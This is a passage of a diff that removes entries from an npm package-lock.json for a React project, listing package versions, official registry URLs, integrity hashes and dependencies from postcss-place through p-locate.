-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-place": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-4.0.1.tgz",
-      "integrity": "sha512-Zb6byCSLkgRKLODj/5mQugyuj9bvAAw9LqJJjgwz5cYryGeXfFZfSXoP1UfveccFmeq0b/2xxwcTEVScnqGxBg==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-preset-env": {
-      "version": "6.7.0",
-      "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-6.7.0.tgz",
-      "integrity": "sha512-eU4/K5xzSFwUFJ8hTdTQzo2RBLbDVt83QZrAvI07TULOkmyQlnYlpwep+2yIK+K+0KlZO4BvFcleOCCcUtwchg==",
-      "requires": {
-        "autoprefixer": "^9.6.1",
-        "browserslist": "^4.6.4",
-        "caniuse-lite": "^1.0.30000981",
-        "css-blank-pseudo": "^0.1.4",
-        "css-has-pseudo": "^0.10.0",
-        "css-prefers-color-scheme": "^3.1.1",
-        "cssdb": "^4.4.0",
-        "postcss": "^7.0.17",
-        "postcss-attribute-case-insensitive": "^4.0.1",
-        "postcss-color-functional-notation": "^2.0.1",
-        "postcss-color-gray": "^5.0.0",
-        "postcss-color-hex-alpha": "^5.0.3",
-        "postcss-color-mod-function": "^3.0.3",
-        "postcss-color-rebeccapurple": "^4.0.1",
-        "postcss-custom-media": "^7.0.8",
-        "postcss-custom-properties": "^8.0.11",
-        "postcss-custom-selectors": "^5.1.2",
-        "postcss-dir-pseudo-class": "^5.0.0",
-        "postcss-double-position-gradients": "^1.0.0",
-        "postcss-env-function": "^2.0.2",
-        "postcss-focus-visible": "^4.0.0",
-        "postcss-focus-within": "^3.0.0",
-        "postcss-font-variant": "^4.0.0",
-        "postcss-gap-properties": "^2.0.0",
-        "postcss-image-set-function": "^3.0.1",
-        "postcss-initial": "^3.0.0",
-        "postcss-lab-function": "^2.0.1",
-        "postcss-logical": "^3.0.0",
-        "postcss-media-minmax": "^4.0.0",
-        "postcss-nesting": "^7.0.0",
-        "postcss-overflow-shorthand": "^2.0.0",
-        "postcss-page-break": "^2.0.0",
-        "postcss-place": "^4.0.1",
-        "postcss-pseudo-class-any-link": "^6.0.0",
-        "postcss-replace-overflow-wrap": "^3.0.0",
-        "postcss-selector-matches": "^4.0.0",
-        "postcss-selector-not": "^4.0.0"
-      }
-    },
-    "postcss-pseudo-class-any-link": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-6.0.0.tgz",
-      "integrity": "sha512-lgXW9sYJdLqtmw23otOzrtbDXofUdfYzNm4PIpNE322/swES3VU9XlXHeJS46zT2onFO7V1QFdD4Q9LiZj8mew==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-2.0.0.tgz",
-          "integrity": "sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg=="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ==",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-reduce-initial": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.3.tgz",
-      "integrity": "sha512-gKWmR5aUulSjbzOfD9AlJiHCGH6AEVLaM0AV+aSioxUDd16qXP1PCh8d1/BGVvpdWn8k/HiK7n6TjeoXN1F7DA==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-api": "^3.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-reduce-transforms": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.2.tgz",
-      "integrity": "sha512-EEVig1Q2QJ4ELpJXMZR8Vt5DQx8/mo+dGWSR7vWXqcob2gQLyQGsionYcGKATXvQzMPn6DSN1vTN7yFximdIAg==",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-replace-overflow-wrap": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-3.0.0.tgz",
-      "integrity": "sha512-2T5hcEHArDT6X9+9dVSPQdo7QHzG4XKclFT8rU5TzJPDN7RIRTbO9c4drUISOVemLj03aezStHCR2AIcr8XLpw==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-safe-parser": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-safe-parser/-/postcss-safe-parser-4.0.1.tgz",
-      "integrity": "sha512-xZsFA3uX8MO3yAda03QrG3/Eg1LN3EPfjjf07vke/46HERLZyHrTsQ9E1r1w1W//fWEhtYNndo2hQplN2cVpCQ==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-selector-matches": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-selector-matches/-/postcss-selector-matches-4.0.0.tgz",
-      "integrity": "sha512-LgsHwQR/EsRYSqlwdGzeaPKVT0Ml7LAT6E75T8W8xLJY62CE4S/l03BWIt3jT8Taq22kXP08s2SfTSzaraoPww==",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-selector-not": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-4.0.0.tgz",
-      "integrity": "sha512-W+bkBZRhqJaYN8XAnbbZPLWMvZD1wKTu0UxtFKdhtGjWYmxhkUneoeOhRJKdAE5V7ZTlnbHfCR+6bNwK9e1dTQ==",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-selector-parser": {
-      "version": "6.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.2.tgz",
-      "integrity": "sha512-36P2QR59jDTOAiIkqEprfJDsoNrvwFei3eCqKd1Y0tUsBimsq39BLp7RD+JWny3WgB1zGhJX8XVePwm9k4wdBg==",
-      "requires": {
-        "cssesc": "^3.0.0",
-        "indexes-of": "^1.0.1",
-        "uniq": "^1.0.1"
-      }
-    },
-    "postcss-svgo": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.2.tgz",
-      "integrity": "sha512-C6wyjo3VwFm0QgBy+Fu7gCYOkCmgmClghO+pjcxvrcBKtiKt0uCF+hvbMO1fyv5BMImRK90SMb+dwUnfbGd+jw==",
-      "requires": {
-        "is-svg": "^3.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "svgo": "^1.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-unique-selectors": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.1.tgz",
-      "integrity": "sha512-+JanVaryLo9QwZjKrmJgkI4Fn8SBgRO6WXQBJi7KiAVPlmxikB5Jzc4EvXMT2H0/m0RjrVVm9rGNhZddm/8Spg==",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "postcss": "^7.0.0",
-        "uniqs": "^2.0.0"
-      }
-    },
-    "postcss-value-parser": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.0.3.tgz",
-      "integrity": "sha512-N7h4pG+Nnu5BEIzyeaaIYWs0LI5XC40OrRh5L60z0QjFsqGWcHcbkBvpe1WYpcIS9yQ8sOi/vIPt1ejQCrMVrg=="
-    },
-    "postcss-values-parser": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-values-parser/-/postcss-values-parser-2.0.1.tgz",
-      "integrity": "sha512-2tLuBsA6P4rYTNKCXYG/71C7j1pU6pK503suYOmn4xYrQIzW+opD+7FAFNuGSdZC/3Qfy334QbeMu7MEb8gOxg==",
-      "requires": {
-        "flatten": "^1.0.2",
-        "indexes-of": "^1.0.1",
-        "uniq": "^1.0.1"
-      }
-    },
-    "prelude-ls": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
-      "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ="
-    },
-    "prepend-http": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz",
-      "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw="
-    },
-    "pretty-bytes": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz",
-      "integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg=="
-    },
-    "pretty-error": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-2.1.1.tgz",
-      "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=",
-      "requires": {
-        "renderkid": "^2.0.1",
-        "utila": "~0.4"
-      }
-    },
-    "pretty-format": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-24.9.0.tgz",
-      "integrity": "sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "ansi-regex": "^4.0.0",
-        "ansi-styles": "^3.2.0",
-        "react-is": "^16.8.4"
-      }
-    },
-    "private": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz",
-      "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg=="
-    },
-    "process": {
-      "version": "0.11.10",
-      "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
-      "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI="
-    },
-    "process-nextick-args": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
-      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
-    },
-    "progress": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
-      "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="
-    },
-    "promise": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/promise/-/promise-8.1.0.tgz",
-      "integrity": "sha512-W04AqnILOL/sPRXziNicCjSNRruLAuIHEOVBazepu0545DDNGYHz7ar9ZgZ1fMU8/MA4mVxp5rkBWRi6OXIy3Q==",
-      "requires": {
-        "asap": "~2.0.6"
-      }
-    },
-    "promise-inflight": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
-      "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM="
-    },
-    "prompts": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.3.2.tgz",
-      "integrity": "sha512-Q06uKs2CkNYVID0VqwfAl9mipo99zkBv/n2JtWY89Yxa3ZabWSrs0e2KTudKVa3peLUvYXMefDqIleLPVUBZMA==",
-      "requires": {
-        "kleur": "^3.0.3",
-        "sisteransi": "^1.0.4"
-      }
-    },
-    "prop-types": {
-      "version": "15.7.2",
-      "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz",
-      "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==",
-      "requires": {
-        "loose-envify": "^1.4.0",
-        "object-assign": "^4.1.1",
-        "react-is": "^16.8.1"
-      }
-    },
-    "proxy-addr": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz",
-      "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==",
-      "requires": {
-        "forwarded": "~0.1.2",
-        "ipaddr.js": "1.9.1"
-      }
-    },
-    "prr": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
-      "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY="
-    },
-    "psl": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
-      "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ=="
-    },
-    "public-encrypt": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz",
-      "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "browserify-rsa": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "parse-asn1": "^5.0.0",
-        "randombytes": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      }
-    },
-    "pump": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
-      "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
-      "requires": {
-        "end-of-stream": "^1.1.0",
-        "once": "^1.3.1"
-      }
-    },
-    "pumpify": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz",
-      "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
-      "requires": {
-        "duplexify": "^3.6.0",
-        "inherits": "^2.0.3",
-        "pump": "^2.0.0"
-      },
-      "dependencies": {
-        "pump": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
-          "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
-          "requires": {
-            "end-of-stream": "^1.1.0",
-            "once": "^1.3.1"
-          }
-        }
-      }
-    },
-    "punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
-    },
-    "q": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
-      "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc="
-    },
-    "qs": {
-      "version": "6.5.2",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
-      "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA=="
-    },
-    "query-string": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz",
-      "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=",
-      "requires": {
-        "object-assign": "^4.1.0",
-        "strict-uri-encode": "^1.0.0"
-      }
-    },
-    "querystring": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz",
-      "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA="
-    },
-    "querystring-es3": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz",
-      "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM="
-    },
-    "querystringify": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.1.tgz",
-      "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA=="
-    },
-    "raf": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
-      "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
-      "requires": {
-        "performance-now": "^2.1.0"
-      }
-    },
-    "randombytes": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
-      "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
-      "requires": {
-        "safe-buffer": "^5.1.0"
-      }
-    },
-    "randomfill": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz",
-      "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==",
-      "requires": {
-        "randombytes": "^2.0.5",
-        "safe-buffer": "^5.1.0"
-      }
-    },
-    "range-parser": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
-      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
-    },
-    "raw-body": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
-      "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
-      "requires": {
-        "bytes": "3.1.0",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "unpipe": "1.0.0"
-      },
-      "dependencies": {
-        "bytes": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
-          "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
-        }
-      }
-    },
-    "react": {
-      "version": "16.13.1",
-      "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz",
-      "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1",
-        "prop-types": "^15.6.2"
-      }
-    },
-    "react-app-polyfill": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-1.0.6.tgz",
-      "integrity": "sha512-OfBnObtnGgLGfweORmdZbyEz+3dgVePQBb3zipiaDsMHV1NpWm0rDFYIVXFV/AK+x4VIIfWHhrdMIeoTLyRr2g==",
-      "requires": {
-        "core-js": "^3.5.0",
-        "object-assign": "^4.1.1",
-        "promise": "^8.0.3",
-        "raf": "^3.4.1",
-        "regenerator-runtime": "^0.13.3",
-        "whatwg-fetch": "^3.0.0"
-      }
-    },
-    "react-dev-utils": {
-      "version": "10.2.1",
-      "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-10.2.1.tgz",
-      "integrity": "sha512-XxTbgJnYZmxuPtY3y/UV0D8/65NKkmaia4rXzViknVnZeVlklSh8u6TnaEYPfAi/Gh1TP4mEOXHI6jQOPbeakQ==",
-      "requires": {
-        "@babel/code-frame": "7.8.3",
-        "address": "1.1.2",
-        "browserslist": "4.10.0",
-        "chalk": "2.4.2",
-        "cross-spawn": "7.0.1",
-        "detect-port-alt": "1.1.6",
-        "escape-string-regexp": "2.0.0",
-        "filesize": "6.0.1",
-        "find-up": "4.1.0",
-        "fork-ts-checker-webpack-plugin": "3.1.1",
-        "global-modules": "2.0.0",
-        "globby": "8.0.2",
-        "gzip-size": "5.1.1",
-        "immer": "1.10.0",
-        "inquirer": "7.0.4",
-        "is-root": "2.1.0",
-        "loader-utils": "1.2.3",
-        "open": "^7.0.2",
-        "pkg-up": "3.1.0",
-        "react-error-overlay": "^6.0.7",
-        "recursive-readdir": "2.2.2",
-        "shell-quote": "1.7.2",
-        "strip-ansi": "6.0.0",
-        "text-table": "0.2.0"
-      },
-      "dependencies": {
-        "browserslist": {
-          "version": "4.10.0",
-          "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.10.0.tgz",
-          "integrity": "sha512-TpfK0TDgv71dzuTsEAlQiHeWQ/tiPqgNZVdv046fvNtBZrjbv2O3TsWCDU0AWGJJKCF/KsjNdLzR9hXOsh/CfA==",
-          "requires": {
-            "caniuse-lite": "^1.0.30001035",
-            "electron-to-chromium": "^1.3.378",
-            "node-releases": "^1.1.52",
-            "pkg-up": "^3.1.0"
-          }
-        },
-        "cross-spawn": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.1.tgz",
-          "integrity": "sha512-u7v4o84SwFpD32Z8IIcPZ6z1/ie24O6RU3RbtL5Y316l3KuHVPx9ItBgWQ6VlfAFnRnTtMUrsQ9MUUTuEZjogg==",
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "emojis-list": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
-          "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k="
-        },
-        "escape-string-regexp": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
-          "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w=="
-        },
-        "find-up": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
-          "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
-          "requires": {
-            "locate-path": "^5.0.0",
-            "path-exists": "^4.0.0"
-          },
-          "dependencies": {
-            "locate-path": {
-              "version": "5.0.0",
-              "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
-              "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
-              "requires": {
-                "p-locate": "^4.1.0"
-              }
-            },
-            "p-locate": {
-              "version": "4.1.0",
-              "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
-              "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
-              "requires": {
-                "p-limit": "^2.2.0"
-              }
-            },
-            "path-exists": {
-              "version": "4.0.0",
-              "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
-              "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="
-            }
-          }
-        },
-        "inquirer": {
-          "version": "7.0.4",
-          "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.0.4.tgz",
-          "integrity": "sha512-Bu5Td5+j11sCkqfqmUTiwv+tWisMtP0L7Q8WrqA2C/BbBhy1YTdFrvjjlrKq8oagA/tLQBski2Gcx/Sqyi2qSQ==",
-          "requires": {
-            "ansi-escapes": "^4.2.1",
-            "chalk": "^2.4.2",
-            "cli-cursor": "^3.1.0",
-            "cli-width": "^2.0.0",
-            "external-editor": "^3.0.3",
-            "figures": "^3.0.0",
-            "lodash": "^4.17.15",
-            "mute-stream": "0.0.8",
-            "run-async": "^2.2.0",
-            "rxjs": "^6.5.3",
-            "string-width": "^4.1.0",
-            "strip-ansi": "^5.1.0",
-            "through": "^2.3.6"
-          },
-          "dependencies": {
-            "strip-ansi": {
-              "version": "5.2.0",
-              "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
-              "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
-              "requires": {
-                "ansi-regex": "^4.1.0"
-              }
-            }
-          }
-        },
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
-          "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.2.3",
-          "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
-          "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^2.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
